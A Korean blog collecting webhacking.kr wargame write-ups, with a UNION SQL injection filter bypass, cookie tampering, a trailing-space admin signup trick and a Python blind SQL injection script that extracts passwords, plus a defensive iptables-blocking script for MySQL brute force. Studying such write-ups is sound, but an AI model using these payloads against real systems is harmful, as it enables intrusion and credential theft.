늘모자란, 개발

늘모자란, 개발


2번째 줄 첫 문제!

문제에 들어가면 url이 변경된다. val=1이 붙는데 이상해서 2,3을 추가로 넣어봤다.
당연히 auth를 누르면 access denied되는데, get 파라미터를 수정하면 버튼 대신 다른 문구들이 나오는걸 볼 수 있다.
고로 아마 파라미터를 이용하는 문제가 아닐까 생각된다.

소스를 보니 역시 대강 짐작이 맞는 것 같다.

<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p><!-- admin mode : val=2 -->
<!--

index.phps

-->


admin_mode가 2로 설정되있고 1은 일단 아무짝에도 쓸모가 없다.
고로 2로 인식하도록 쿼리를 수정해야겠다는 생각을 하고..
문제의 힌트인 index.phps를 읽어본다.

<!--
db에는 val=2가 존재하지 않습니다.

union을 이용하세요
-->
<?
$answer = "????";

$go=$_GET[val];

if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);


echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}

if($rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}

if($rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}

if($rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}

if($rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]!=1 && $data[0]!=2) { exit(); }


if($data[0]==1)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>");
echo("<!-- admin mode : val=2 -->");
}

if($data[0]==2)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>");
@solve();
} 
?>


처음보이는 주석은 문제 푸는 사용자들이 얼마나 삽질을 했나 싶어서 넣어준 힌트같은데, 2로 시도하지말고 union으로 해야한다고 힌트를 준다.

$_GET['val']를 $go로 받고, 설정되어 있지 않다면 mode를 1로 설정 (버튼)한다.
즉 mode는 1이면 안된다. 0으로 넣어주도록 하자.

$ck에 *, / 가 있다면 제거.
--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column 는 쓸수 없고, 일반 공백도 사용할 수 없다.
보면 왠만한건 다 막혀있다. urlencode된 문자열도 2가 필터링되어있고, %20 도 따로 공백을 처리해서 제거해주고 있다.

여기서 우회를 하려면 URL Encoding for hardware 를 보도록 하자.
정확히는 개행이 아니라 라인을 추가하게 하는것이다.

마지막으로 랜덤 -_- 을 돌려서 처리하게 하는데 이 때문에 쿼리에 확신이 없으면 쓸데 없이 고치는 시간이 들게 되니 쿼리에 확신을 가져보자.

이런 형태의 문장이 완성되어야한다.

select lv from lv1 where lv=(0) union select 2 #


이건 랜덤이 1일때를 가정한것이기때문에 여러번 새로 고침해야된다.
앞서 말한 글을 정리해보자.

공백과 2가 제거 되지만 url encode reference를 참고해 개행을 집어넣자. 어차피 db는 똑똑해서 우리의 침입을 알아서 허용해준다.

select lv from lv1 where lv=0)%0aunion%select%0a2#


여기서 2를 사용할 수 없다. 그래서 계산을 DB에게 맡겨야한다. 3-1를 넣어준다. 땡기면 5-3을 해줘도 ... 농담이다.

select lv from lv1 where lv=0)%0aunion%select%0a3-1#


마지막으로 주석을 처리해준다.

select lv from lv1 where lv=0)%0aunion%select%0a3-1%23


이대로 query에 날려주면 문제가 해결된다.
2016/03/08 13:08 2016/03/08 13:08
요것만 풀면 한줄이다.
100점짜리니까 쉬운 문제겠지 하고 가볍게 접근해본다.

여전히 정말 뭐같이 생겼다. 그래도 HINT라고 적힌것도 있고, index.phps라고 누를만한것도 보인다.
소스는 더 기가막히게 생겼다 



base64 encode를 20번해서 몸이 비대해진 녀석인데, 그 와중에 str_replace를 해서 decode가 되지도 않게 해놨다.
 $val_id=str_replace("1","!",$val_id); 
$val_id=str_replace("2","@",$val_id); 
$val_id=str_replace("3","$",$val_id); 
$val_id=str_replace("4","^",$val_id); 
$val_id=str_replace("5","&",$val_id); 
$val_id=str_replace("6","*",$val_id); 
$val_id=str_replace("7","(",$val_id); 
$val_id=str_replace("8",")",$val_id); 


그런데 이녀석을 우리가 decode해야만할까? 그렇지가 않다.
이녀석은 php코드이고, php 최신버전의 기능을 사용하고 있지도 않다.
즉, 그냥 이 코드를 갖다가 우리맘대로 바꿔 출력한 후에 쿠키로 설정하면 되는것이다.
index.phps에서는 user와 password가 모두 admin이면 패스하도록 되어있다.


바꾸면 대강 위와 같은 값이 나온다. 
쿠키에 넣어주면 간단히 해결.


소스가 노출되면 그만한 각오를 해야된다는 교훈을 알려주는 문제라고도 할 수 있겠다.
2016/03/08 01:53 2016/03/08 01:53
문제가 가면 갈 수록 변태적이게 변하는 기분이 든다.
어쨌든 5번 문제의 화면은 요렇다.

한숨만 나온다.

소스를 보기로 하자.

<html>

<head>
<title>Challenge 5</title>
</head>
<body bgcolor=black>
<center>
<font color=black>
.<p>
.<p>
.<p>
.<p>
.<p>
.<p>
.<p>
</font>
<input type=button value='Login' style=border:0;width:100;background=black;color=green onmouseover=this.focus(); onclick=move('login');>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input type=button value='Join' style=border:0;width:100;background=black;color=blue onmouseover=this.focus(); onclick=no();>

<script>
function no()
{
alert('Access_Denied');
}

function move(page)
{
if(page=='login') { location.href='mem/login.php'; }

}

</script>
</center>
</body>
</html>


일단, join은 누르기만 하면 무조건 no를 출력하게 되어 있는 쓸모없는 버튼이다.
login은 누르면 mem/login.php로 이동되게 되어 있으니 이동해보자.

로그인 화면이 하나 나오긴하는데 아무거나 입력해보면 이렇게 나온다.

admin 이라는 이름의 아이디로 로그인할 수 있다는 것이겠다.
하지만 우린 가진게 없다. 간단한 인젝션을 시도해봤으나 일단은 다 막혀있는 것 같다.
다시 메인으로 돌아가서, 왜 join을 굳이 no로 처리해두었을까?

혹시 mem/join.php가 존재하진 않을까? 빙고.
하지만 화면엔 아무것도 없다.

소스보기를 하면 다음과 같은 소스가 나온다.


<html>
<title>Challenge 5</title></head><body bgcolor=black><center>
<script>
l='a';ll='b';lll='c';llll='d';lllll='e';llllll='f';lllllll='g';llllllll='h';lllllllll='i';llllllllll='j';lllllllllll='k';llllllllllll='l';lllllllllllll='m';llllllllllllll='n';lllllllllllllll='o';llllllllllllllll='p';lllllllllllllllll='q';llllllllllllllllll='r';lllllllllllllllllll='s';llllllllllllllllllll='t';lllllllllllllllllllll='u';llllllllllllllllllllll='v';lllllllllllllllllllllll='w';llllllllllllllllllllllll='x';lllllllllllllllllllllllll='y';llllllllllllllllllllllllll='z';I='1';II='2';III='3';IIII='4';IIIII='5';IIIIII='6';IIIIIII='7';IIIIIIII='8';IIIIIIIII='9';IIIIIIIIII='0';li='.';ii='<';iii='>';lIllIllIllIllIllIllIllIllIllIl=lllllllllllllll+llllllllllll+llll+llllllllllllllllllllllllll+lllllllllllllll+lllllllllllll+ll+lllllllll+lllll;
lIIIIIIIIIIIIIIIIIIl=llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+lll+lllllllllllllll+lllllllllllllll+lllllllllll+lllllllll+lllll;if(eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl)==-1) { bye; }if(eval(llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+'U'+'R'+'L').indexOf(lllllllllllll+lllllllllllllll+llll+lllll+'='+I)==-1){alert('access_denied');history.go(-1);}else{document.write('<font size=2 color=white>Join</font><p>');document.write('.<p>.<p>.<p>.<p>.<p>');document.write('<form method=post action='+llllllllll+lllllllllllllll+lllllllll+llllllllllllll+li+llllllllllllllll+llllllll+llllllllllllllll
+'>');document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name='+lllllllll+llll+' maxlength=5></td></tr>');document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name='+llllllllllllllll+lllllllllllllllllllllll+' maxlength=10></td></tr>');document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');}
</script>
</body>
</html>


난독화된 코드가 반겨준다. 무엇을 의미하나?
deobfuscation를 찾아보자. 나는 firefox addon을 설치해서 돌려봤다.

l = 'a';
ll = 'b';
lll = 'c';
llll = 'd';
lllll = 'e';
llllll = 'f';
lllllll = 'g';
llllllll = 'h';
lllllllll = 'i';
llllllllll = 'j';
lllllllllll = 'k';
llllllllllll = 'l';
lllllllllllll = 'm';
llllllllllllll = 'n';
lllllllllllllll = 'o';
llllllllllllllll = 'p';
lllllllllllllllll = 'q';
llllllllllllllllll = 'r';
lllllllllllllllllll = 's';
llllllllllllllllllll = 't';
lllllllllllllllllllll = 'u';
llllllllllllllllllllll = 'v';
lllllllllllllllllllllll = 'w';
llllllllllllllllllllllll = 'x';
lllllllllllllllllllllllll = 'y';
llllllllllllllllllllllllll = 'z';
I = '1';
II = '2';
III = '3';
IIII = '4';
IIIII = '5';
IIIIII = '6';
IIIIIII = '7';
IIIIIIII = '8';
IIIIIIIII = '9';
IIIIIIIIII = '0';
li = '.';
ii = '<';
iii = '>';
lIllIllIllIllIllIllIllIllIllIl = lllllllllllllll + llllllllllll + llll + llllllllllllllllllllllllll + lllllllllllllll + lllllllllllll + ll + lllllllll + lllll;
lIIIIIIIIIIIIIIIIIIl = llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + lll + lllllllllllllll + lllllllllllllll + lllllllllll + lllllllll + lllll;
if (eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl) == -1) {
  bye;
}
if (eval(llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + 'U' + 'R' + 'L').indexOf(lllllllllllll + lllllllllllllll + llll + lllll + '=' + I) == -1) {
  alert('access_denied');
  history.go(-1);
} else {
  document.write('<font size=2 color=white>Join</font><p>');
  document.write('.<p>.<p>.<p>.<p>.<p>');
  document.write('<form method=post action=' + llllllllll + lllllllllllllll + lllllllll + llllllllllllll + li + llllllllllllllll + llllllll + llllllllllllllll + '>');
  document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=' + lllllllll + llll + ' maxlength=5></td></tr>');
  document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=' + llllllllllllllll + lllllllllllllllllllllll + ' maxlength=10></td></tr>');
  document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');
}


변수들은 설명되어 있는데 사실 브라우저에서 console.log를 찍어보면된다.
수정해서 다시 코드를 보자

lIllIllIllIllIllIllIllIllIllIl = 'o'+ 'l' + 'd' + 'z' + 'o' + 'm' + 'b' + 'i' + 'e';
lIIIIIIIIIIIIIIIIIIl = 'd' + 'o' + 'c' + 'u' + 'm' + 'e' + 'n' + 't' + '.' + 'c' + 'o' + 'o' + 'k' + 'i' + 'e';
if (eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl) == -1) {
  bye;
}

if (eval(document.URL).indexOf(mode=1) == -1) {
  alert('access_denied');
  history.go(-1);
} else {
  document.write('<font size=2 color=white>Join</font><p>');
  document.write('.<p>.<p>.<p>.<p>.<p>');
  document.write('<form method=post action=join.php>');
  document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=id maxlength=5></td></tr>');
  document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=pw + ' maxlength=10></td></tr>');
  document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');
}



풀어보면, oldzombie라는 이름의 쿠키값이 필요하고, get 파라미터로 mode=1이라고 기재해주면 join.php의 내용을 볼 수 있다.


이제 요녀석으로 admin이라는 이름으로 가입해야하는데.. 쉽게 될까 싶지만 일단 해보자.
이녀석이 반겨준다.

id 'admin' is already exists


admin이라는 이름은 이미 있댄다.
이를 우회하기 위해서 공백을 넣어줘야하는데, id input box는 maxlength 가 5로 설정되어 있어 더 칠수없게 되어 있다.
간단하게 크롬이나 파이어폭스의 개발자도구로 6으로 수정해주고, "admin "이라는 이름으로 가입해준다.

sign up과 함께 회원가입완료.
admin과 함께 패스워드를 적어주면 문제가 해결된다.



결국 감출페이지 이름은 철저하게 감춰야된다. 어중간하게 감추고 스크립트를 난독화한다고 해도 공격의 대상이 될 수 있기 때문이다.
또한, admin + ' ' 같이 trim을 이용한 방법도 정말 어처구니가 없는 공격이다. 회원가입을 받을때는 반드시 trim 검사도 수반되어야 하겠다.

2016/03/08 01:22 2016/03/08 01:22
첨봤을때 완전 밥인줄알고 간단하게 생각했다가 -_-



딱봐도 base64 encoded 된 녀석이다.
풀어보자.

c4033bff94b567a190e33faa551f411caef444f2


무엇일까. 이대로 넣으면 당연히 안된다.
(첨언1. 사실 webhacking.kr 가입할때 base64 를 세번 decode해서 나오는 값을 입력해야 하는데 이걸 문제로 냈을거라고 생각을 안해서..)
(첨언2. 위 코드로 검색하면 너무 많이 나온다. 안볼수가 없다...)

input창의 size덕에 제대로 넘어가지 않나 싶어서 콘솔로 DOM을 조작후 입력해봐도 제대로 되지 않았다.
결국 이녀석을 가지고 놀아야겠다는 결론에 이르렀다.

찾아보니 이런 글이 있었다.
40byte일 경우 sha1으로 암호화 되어있다고 추측 할 수 있다. ( 32byte이면 md5라고 추측 )
글자를 세어보면 40byte. sha1 암호를 풀어주는 사이트를 이용하자.
정말 어이없는 비밀번호와 함께 문제를 해결 할 수 있다.

여기서 배울점이라면 md5와 sha1은 이미 크랙되었다는것이다.
보안에 강한 sha256 이상의 암호화 알고리즘을 사용해야만한다.
2016/03/08 00:23 2016/03/08 00:23
난 퍼즐이 싫다.
그런데 3번은 퍼즐이다. 아..

이런 퍼즐같은걸 본적이 있는 것 같은데 해본적은 없다. 어쨌든 빈칸을 누르면 까맣게 클릭되는 퍼즐이다. 퍼즐을 풀어보자.
스도쿠 비슷한거인것 같은데, 사실 난 이 퍼즐 푸는건 포기했다. 잘 이해가 안되서 찾아봤다...
한줄에 표시되어야 하는 갯수를 나타낸다고 한다.

정답은 이렇다. 퍼즐을 다 풀고 나면 친숙한 폼이 기다려준다.
인젝션 하라고 막 손짓하는것 같다.
아무데이터를 입력해보면 내역이 나온다.


안타깝게도 이 문제를 푸는데 여러 시도를 못해봤다.
' 나 or이나 = 등 다양한 문자열이 제한된다는데 그것만 입력하면 타임아웃이 떨어지는 바람에...
어쨌든 정답은 or을 대체하는 문자인 || 를 폼에 넣어주어 bypass하면된다.
이문제로 배울점은, 단순 blacklist 형 회피도 회피지만, httpentities 처리를 해주어 원천적으로 특수문자에 대한 처리를 해야한다는것이다.
(참고로, mysql_real_escape_string은 %나 _를 변경하지 않는다. 이 점도 참고 하면 좋겠다.)

2016/03/08 00:10 2016/03/08 00:10
2번의 배점은 500점으로 꽤 어려운 문제(?) 라고 할 수 있겠다.
일단 들어가면 아주 황당한데 그 이유는 그림을 보면 쉽게 이해가 된다

진짜 뭐 어쩌라는지 모르겠다.
짜증나는 마음을 뒤로 하고 침착하게 소스보기를 눌러본다.

<html>
<head>
<title>Project Progress</title>
</head>
<body bgcolor=black>
<center>
<table width=970 bgcolor=white>
<td colspan=5>
<img src="img/new_main.jpg" alt="" usemap="#main.jpg" style="border: 0;" />
<map name="main.jpg">
    <area shape="rect" coords="15,8,517,54" href="index.php" target="" alt="" />
    <area shape="rect" coords="339,63,403,93" href="about.php" target="" alt="" />
    <area shape="rect" coords="413,63,490,92" href="member.php" target="" alt="" />
    <area shape="rect" coords="500,63,582,92" href="research.php" target="" alt="" />
    <area shape="rect" coords="592,63,651,92" href="bbs/index.php" target="" alt="" />
    <area shape="rect" coords="662,64,745,93" href="fun.php" target="" alt="" />
    <area shape="rect" coords="756,63,825,93" href="contact.php" target="" alt="" />
    <area shape="rect" coords="851,7,890,65" href="admin/" target="" alt="" />

</map>
<br><center><br>
</td><tr>
</table>

<table bgcolor=white width=976>
<td width=88></td>
<td width=800>
<br>
<center>
<a href=index.php><img src=img/new.jpg border=0></a><br>
<br><br>
<!--2016-03-04 06:25:03--></td>
<td width=88></td>
</table>

<table width=970 bgcolor=black>
<td><br><center><font size=2 color=white>Copyright ⓒ 2008 beistlab. All rights reserved</td>
</table>



왠 주석이 달려있는데 날짜만 맞고 현재시간하고도 완전히 틀린값이다.
그리고 admin이라는 메뉴가 있다.
관리자 메뉴가 노출 되고 있다는 말인데, map을 이용해서 용가리에 클릭하면 넘어갈 수 있게 되어 있다. 궁금하니까 용가리를 클릭해본다.



딱히 안눌러봐도 됐을것 같다.
어쨌든 admin page로 가는 비번을 찾아야 한다.
사이트 내부를 둘러보면 왠만한건 그냥 거의 설명이고 단서는 board에 있다.(고 생각한다)


게시판. 게시판하면 injection아니겠는가.
이제 어떻게 인젝션을 할지 곰곰히 고민을 해본다.
일단 보드의 이름이 FreeB0aRd 라는데 수상해보인다. keep in mind하고 넘어가본다.
소스보기를 해봐도 얘는 딱히 약점이 없다. 그냥 말그대로 폼이다. 1번 문제를 풀어봤으니 일단 raw를 한번 보기로 한다.

GET http://webhacking.kr/challenge/web/web-02/bbs/index.php HTTP/1.1
Host: webhacking.kr
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://webhacking.kr/challenge/web/web-02/research.php
Cookie: time=1457083503; PHPSESSID=
Connection: keep-alive
Cache-Control: max-age=0


옳거니, 쿠키가있는데 타임스탬프다.
변환해보니 아까 위에 쓰여있던 주석과 같은 시간이다. 자바스크립트로 시간을 기록하는것도 없고, 그냥 PHP에서 쓰고 있다.
그렇다면 요 타임스탬프는 서버와 연관이 있는게 아닐까? 쿠키를 조작해볼 시간이다.

Cookie: time=1457083503 or show tables;


request를 변환해서 날려봤더니
주석이 있어야할 자리에 이상한녀석이 껴서 온다.

<a href=index.php><img src=img/new.jpg border=0></a><br>
<br><br>
Access Denied


액세스 디나이가 나온다는 말은 아마 webhacking.kr 의 DB 테이블을 조회못하게 하려고 Access denied가 날아오는 것 같은데, 어쨌든 기재되어 있는 주석은 DB로 부터 불러온다는것으로 짐작할 수 있다. 다양하게 쿼리를 조작해서(1=1 / 1=0 등..) 날려보면 주석이 다음과 같이 바뀐다.

<!--2070-01-01 09:00:00--> // False
<!--2070-01-01 09:00:01--> // True


다만 표시에 제한을 하고 있어서 상세한 데이터를 뽑아낼 수가 없다. True / False만 판별하는 Blind sql injection을 시도해봐야 한다.
아까 이상하게 생각했던 FreeB0aRd 가 테이블이름이란다. 옛날에는 힌트로 빼줬다고 한다.(사실 테이블이름을 알 수가 없어서 찾아봤다)


SPIN OFF - How to get column name? (click)


어쨌든 컬럼(필드)네임은 'password'로 가정해서 진행한다.

다음과 같은 쿼리를 날려본다. 8도해보고, 10도 해보고.
time=1457335419 and (SELECT length(password) from FreeB0aRd) = 10


이렇게 했을때 10에서 True값을 얻을 수 있었다. 비밀번호는 10자리임을 알게 되었다.

아스키코드를 한자리씩 때려넣으면서 1자리씩 비교를 해야하는데, 이건 루프가 어마어마하기때문에 python 코드를 작성해서 true값이 나오는지 비교해본다.
다음의 코드를 참조하자.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re

sess = "PHP SESSION"
pw = ""
for i in range(1, 11):
    for j in range(33,126):
        headers = {'Host': 'webhacking.kr',
                   'Cookie': "time=1457335419 and (select ascii(substring(password,{},1)) from FreeB0aRd)={}; PHPSESSID={}".format(i,j,sess)
                  }

        req = urllib2.Request('http://webhacking.kr/challenge/web/web-02/', '', headers)
        response = urllib2.urlopen(req)
        the_page = response.read()

        if re.findall("<!--2070-01-01 09:00:01-->",the_page):
            pw = pw + chr(j)
            break
print pw


이렇게 비밀번호를 얻을 수 있다.
bbs로 돌아가서 비밀번호가 설정된 글을 비밀번호로 접근하면 내용을 읽을 수 있게 된다.


admin manual 은 zip파일이며 내용엔 manual.html이라는 비밀번호가 걸린 파일이 있다.
얘를 풀수가 없다. 다시 비밀번호가 걸려있던 admin 페이지로 이동해보자. 비밀번호 input이 10자리를 받도록 되어있는데 10자리가 맞을까?
사실 테이블을 알 수 없는 상태이기때문에 역시 가정으로 admin이라고 생각해보고, 같은 과정을 거친다.

 time=1457335419 and (SELECT length(password) from admin) = 10;


10자리이다. 위 python 코드를 조금만 수정해 리퀘스트를 날려보자.
비슷한 시간대로 비밀번호를 얻을 수 있다.

획득한 비밀번호를 관리자페이지에 입력하면 패스워드가 나온다.
메뉴얼엔 비밀번호가 적혀있고, auth를 통해 인증해주면 Challenge 2를 완료하게 된다.



위 문제로 배울점은, 우선 테이블명이 쉽게 노출되선 안되며 db 권한조절이 매우 중요하다는 점이다.
쿠키를 인해 injection이 가능하다는 점도 분명히 취약점이지만, 결국 true/ false가 반환되는 문제보다도 blind injection을 시도할 수 있도록 테이블명이 노출되던점이 가장 큰 핵심이었다고 할 수 있겠다.

2016/03/05 15:59 2016/03/05 15:59
webhacking.kr은 제법 오래된 워게임 사이트인데 맨날 해본다 해본다 하고 포기하고 그랬던 것 같다.
전부 다 해낼 수 있을진 모르겠지만 블로그에 쓰면 계기가 생기지 않을까?

첫번째 문제는 이렇게 생겼다.



URL 상에서 index.phps 에 접근하라는 뉘앙스를 강하게 풍기고 있으나 확실하게 하기 위해 소스를 까본다

<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<br>level : 1<br>
<pre>
<a onclick=location.href='index.phps'>----- index.phps -----</a>
</body>
</html>




URL 에 칠 필요도 없이 index.phps 라는 글자를 누르면 이동하게 되 있다. 친절이 극에 달했다

<?
if(!$_COOKIE[user_lv])
{
SetCookie("user_lv","1");
echo("<meta http-equiv=refresh content=0>");
}
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?

$password="????";

if(eregi("[^0-9,.]",$_COOKIE[user_lv])) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>=6) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>5) @solve();

echo("<br>level : $_COOKIE[user_lv]");

?>
<br>
<pre>
<a onclick=location.href='index.phps'>----- index.phps -----</a>
</body>
</html>



코드를 쭉 읽어보면, 페이지에 접근할때 설정된 쿠키가 없다면 user_lv 이라는 쿠키를 생성하며 값을 1로 준다.
다음 조건문은 쿠키의 값이 숫자가 아닐경우 무조건 1로 처리한다는것.
이 페이지의 raw response는 다음과 같다

GET http://webhacking.kr/challenge/web/web-01/ HTTP/1.1
Host: webhacking.kr
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://webhacking.kr/index.php?mode=challenge
Cookie: user_lv=1; PHPSESSID=
Connection: keep-alive
Cache-Control: max-age=0



문제의 핵심은 그 이후 if 문들인데, 유저레벨이 6이상이 되면 무조건 레벨을 1로 처리하지만, 5를 초과할 경우에는 통과를 시켜준다는것이다.
코드를 보면 소수점에 대한 처리는 전혀 이뤄지고 있지 않기때문에 쿠키를 조작해 레벨을 5.1로 만들 것이다
cooxie 나 cookie master와 같이 브라우저단에서 쿠키를 조작할 수 있으나, raw 를 까본김에 다음과 같이 조작해 request를 날려보기로 한다

GET http://webhacking.kr/challenge/web/web-01/ HTTP/1.1
Host: webhacking.kr
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://webhacking.kr/index.php?mode=challenge
Cookie: user_lv=5.1; PHPSESSID=
Connection: keep-alive



패스되었다는 결과를 얻을 수 있다.

<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<script>alert('Congratulation!');</script><center><h1><br><br><hr><font color=gray>You have cleared the 1 problems.</font><br><br><font color=green><b>Score + 200</b></font><br><hr></h1></center>




위 문제로 배울점은, 쿠키로 레벨을 설정하는 멍청한짓을 하지 말아야 된다는 것이다.
index.phps에서 많은 힌트를 주었으나, 쿠키는 클라이언트에 저장되는 만큼 쉽게 노출되므로 얼마든지 공격의 대상이 될 수 있다.
개발자는 클라이언트마다 세션을 열어서 유저레벨을 서버에서 체크해야만한다.
2016/03/04 21:54 2016/03/04 21:54
MySQL 포트는 아주 공개적으로 열려있다. 3306이며 포트를 바꿔도 공격에 자연스럽게 노출되게 된다. 오픈소스의 숙명이라고 할 수 있겠다.

서버 세팅한지 얼마 되지도 않았는데 어찌나 많은 불나방들이 달려드는지 골머리를 앓고 있던차에,
이녀석들을 제거하는 일을 자동화를 해야겠다고 결심했다.

그래서 fail2ban을 깔아서 처리해보려고 했으나 이게 왠일, fail2ban은 정말 SSH(22)만 검사하는 프로그램이었던것이다.
찾아보니 그냥 검사나 제때하고 포트바꿔라 이런소리나 하고 있고...
간단하게 코딩해보기로 했다. 크게 어려울것 같지 않았다. (부작용은 아직 모르겠다)

mysql.log를 남기는것은 성능에 마이너스이므로 에러로그와 슬로우쿼리만 남기고 있다.
두개 로그는 파일 크기가 그렇게 크지 않기때문에 로드하는것에도 부하가 없을 것이라고 생각(근거 없는 믿음)한다

#!/usr/bin/env python
# -*- coding: utf8 -*-

import re
from subprocess import call

path = "/var/log/mysql/"
log = "error.log"

logContents = ""

excludeText = "etc ips............................"

with open("{}{}".format(path,log)) as f:
    logContents = f.read()

extractedIP = {}
for ip in re.findall( r'\'?\'@\'[0-9]+(?:\.[0-9]+){3}\'', logContents):
    ip = ip.replace('@','').replace('\'','')
    try:
        if type(extractedIP[ip]):
            extractedIP[ip] = extractedIP[ip] + 1
    except:
        extractedIP[ip] = 1

for index in extractedIP:
    if extractedIP[index] > 2 and index not in excludeText:
        call("iptables -A INPUT -s {} -j DROP".format(index), shell=True)

f = open("{}{}".format(path,log),"w")
f.write('')
f.close()

print "Done"


내가 로그를 살펴보아하니 공격은 거의 5분안에 이뤄지더라. [아래 로그 참조]
2016-02-07T18:46:47.070457Z 519468 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:47.330309Z 519469 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:47.521742Z 519470 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:47.670816Z 519471 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:47.796906Z 519472 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:47.915819Z 519473 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:48.037179Z 519475 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:48.146458Z 519476 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:48.253486Z 519477 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:48.355799Z 519478 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:48.470777Z 519480 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:48.670311Z 519481 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:48.891320Z 519482 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:49.034734Z 519483 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:49.167179Z 519486 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:49.361079Z 519487 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:49.555965Z 519489 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)
2016-02-07T18:46:49.800100Z 519490 [Note] Access denied for user 'root'@'180.97.215.141' (using password: YES)


1분에 약 적게는 3건 많게는 5건으로 시도하기때문에 3분마다 cron을 돌게 하고,
거절 된 아이피가 3건이상일 경우 해킹이라고 생각해 iptables를 이용해 블럭 하도록 처리했다.

단점이라면, 3분안에 공격이 연속되지 않으면 로그를 초기화하기때문에 잡아낼 수 없다는 단점이 있다.
즉시 처리 하기 위해 3분이라는 짧은 텀을 주었으나 10분정도를 줘도 무방할 것 같다.

심플한 코드인데 벌써 한 50개정도의 아이피를 블럭한것같다.
이 코드는 gist에서 버전 관리 될 예정이다.
